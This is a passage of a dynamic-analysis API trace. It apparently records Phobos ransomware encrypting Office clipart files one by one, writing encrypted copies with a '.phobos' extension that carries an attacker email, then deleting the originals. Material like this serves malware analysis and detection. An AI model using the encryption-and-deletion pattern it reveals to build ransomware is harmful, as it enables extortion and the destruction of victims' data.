[0059.543] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0059.543] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0059.543] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0059.543] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc910) returned 1 [0059.543] CryptSetKeyParam (hKey=0x10dc910, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0059.544] ReadFile (in: hFile=0x328, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x25ee, lpOverlapped=0x0) returned 1 [0059.553] CryptEncrypt (in: hKey=0x10dc910, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x25f0, dwBufLen=0x25f0 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x25f0) returned 1 [0059.553] WriteFile (in: hFile=0x310, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x25f0, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x25f0, lpOverlapped=0x0) returned 1 [0059.553] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc790) returned 1 [0059.553] CryptSetKeyParam (hKey=0x10dc790, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0059.554] CryptEncrypt (in: hKey=0x10dc790, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0059.554] CryptDestroyKey (hKey=0x10dc790) returned 1 [0059.554] WriteFile (in: hFile=0x310, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0059.554] CryptDestroyKey (hKey=0x10dc910) returned 1 [0059.554] CloseHandle (hObject=0x328) returned 1 [0059.554] CloseHandle (hObject=0x310) returned 1 [0059.555] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf")) returned 1 [0059.556] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0059.556] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0059.557] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=14486) returned 1 [0059.557] CloseHandle (hObject=0x328) returned 1 [0059.557] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf")) returned 0x220 [0059.557] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0059.558] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0059.558] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0059.558] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0059.558] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0059.559] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc6d0) returned 1 [0059.559] CryptSetKeyParam (hKey=0x10dc6d0, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0059.559] ReadFile (in: hFile=0x31c, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x3896, lpOverlapped=0x0) returned 1 [0059.571] CryptEncrypt (in: hKey=0x10dc6d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x38a0, dwBufLen=0x38a0 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x38a0) returned 1 [0059.571] WriteFile (in: hFile=0x2fc, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x38a0, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x38a0, lpOverlapped=0x0) returned 1 [0059.572] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc650) returned 1 [0059.573] CryptSetKeyParam (hKey=0x10dc650, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0059.573] CryptEncrypt (in: hKey=0x10dc650, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0059.573] CryptDestroyKey (hKey=0x10dc650) returned 1 [0059.573] WriteFile (in: hFile=0x2fc, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0059.573] CryptDestroyKey (hKey=0x10dc6d0) returned 1 [0059.573] CloseHandle (hObject=0x31c) returned 1 [0059.573] CloseHandle (hObject=0x2fc) returned 1 [0059.574] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf")) returned 1 [0059.575] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0059.575] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0059.576] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=18304) returned 1 [0059.576] CloseHandle (hObject=0x2fc) returned 1 [0059.586] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf")) returned 0x220 [0059.586] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0059.586] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0059.586] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0059.586] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0059.586] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0059.586] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc550) returned 1 [0059.586] CryptSetKeyParam (hKey=0x10dc550, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0059.586] ReadFile (in: hFile=0x2fc, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x4780, lpOverlapped=0x0) returned 1 [0059.677] CryptEncrypt (in: hKey=0x10dc550, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x4790, dwBufLen=0x4790 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x4790) returned 1 [0059.677] WriteFile (in: hFile=0x31c, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x4790, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x4790, lpOverlapped=0x0) returned 1 [0059.678] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc950) returned 1 [0059.678] CryptSetKeyParam (hKey=0x10dc950, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0059.678] CryptEncrypt (in: hKey=0x10dc950, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0059.678] CryptDestroyKey (hKey=0x10dc950) returned 1 [0059.678] WriteFile (in: hFile=0x31c, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0059.678] CryptDestroyKey (hKey=0x10dc550) returned 1 [0059.678] CloseHandle (hObject=0x2fc) returned 1 [0059.678] CloseHandle (hObject=0x31c) returned 1 [0059.681] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf")) returned 1 [0059.682] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0059.682] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0059.682] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=12520) returned 1 [0059.682] CloseHandle (hObject=0x31c) returned 1 [0059.682] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf")) returned 0x220 [0059.682] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0059.682] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0059.682] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0059.682] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0059.682] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0059.683] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc690) returned 1 [0059.683] CryptSetKeyParam (hKey=0x10dc690, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0059.683] ReadFile (in: hFile=0x31c, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x30e8, lpOverlapped=0x0) returned 1 [0059.841] CryptEncrypt (in: hKey=0x10dc690, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x30f0, dwBufLen=0x30f0 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x30f0) returned 1 [0059.841] WriteFile (in: hFile=0x2fc, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x30f0, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x30f0, lpOverlapped=0x0) returned 1 [0059.842] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc9d0) returned 1 [0059.842] CryptSetKeyParam (hKey=0x10dc9d0, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0059.842] CryptEncrypt (in: hKey=0x10dc9d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0059.842] CryptDestroyKey (hKey=0x10dc9d0) returned 1 [0059.842] WriteFile (in: hFile=0x2fc, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0059.842] CryptDestroyKey (hKey=0x10dc690) returned 1 [0059.842] CloseHandle (hObject=0x31c) returned 1 [0059.842] CloseHandle (hObject=0x2fc) returned 1 [0059.844] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf")) returned 1 [0059.845] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0059.845] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0059.845] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=880) returned 1 [0059.845] CloseHandle (hObject=0x2fc) returned 1 [0059.845] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf")) returned 0x220 [0059.845] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0059.845] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0059.846] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0059.846] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0059.846] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0059.846] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc610) returned 1 [0059.846] CryptSetKeyParam (hKey=0x10dc610, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0059.846] ReadFile (in: hFile=0x2fc, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x370, lpOverlapped=0x0) returned 1 [0059.860] CryptEncrypt (in: hKey=0x10dc610, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x380, dwBufLen=0x380 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x380) returned 1 [0059.860] WriteFile (in: hFile=0x31c, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x380, lpOverlapped=0x0) returned 1 [0059.861] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc950) returned 1 [0059.861] CryptSetKeyParam (hKey=0x10dc950, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0059.861] CryptEncrypt (in: hKey=0x10dc950, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0059.861] CryptDestroyKey (hKey=0x10dc950) returned 1 [0059.861] WriteFile (in: hFile=0x31c, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0059.861] CryptDestroyKey (hKey=0x10dc610) returned 1 [0059.861] CloseHandle (hObject=0x2fc) returned 1 [0059.861] CloseHandle (hObject=0x31c) returned 1 [0059.862] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf")) returned 1 [0059.863] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0059.863] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0059.863] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=1464) returned 1 [0059.863] CloseHandle (hObject=0x31c) returned 1 [0059.863] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf")) returned 0x220 [0059.863] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0059.864] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0059.864] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0059.864] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0059.864] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0059.864] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc850) returned 1 [0059.864] CryptSetKeyParam (hKey=0x10dc850, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0059.864] ReadFile (in: hFile=0x31c, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x5b8, lpOverlapped=0x0) returned 1 [0059.889] CryptEncrypt (in: hKey=0x10dc850, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x5c0, dwBufLen=0x5c0 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x5c0) returned 1 [0059.889] WriteFile (in: hFile=0x2fc, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x5c0, lpOverlapped=0x0) returned 1 [0059.889] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dcbd0) returned 1 [0059.889] CryptSetKeyParam (hKey=0x10dcbd0, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0059.889] CryptEncrypt (in: hKey=0x10dcbd0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0059.889] CryptDestroyKey (hKey=0x10dcbd0) returned 1 [0059.889] WriteFile (in: hFile=0x2fc, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, 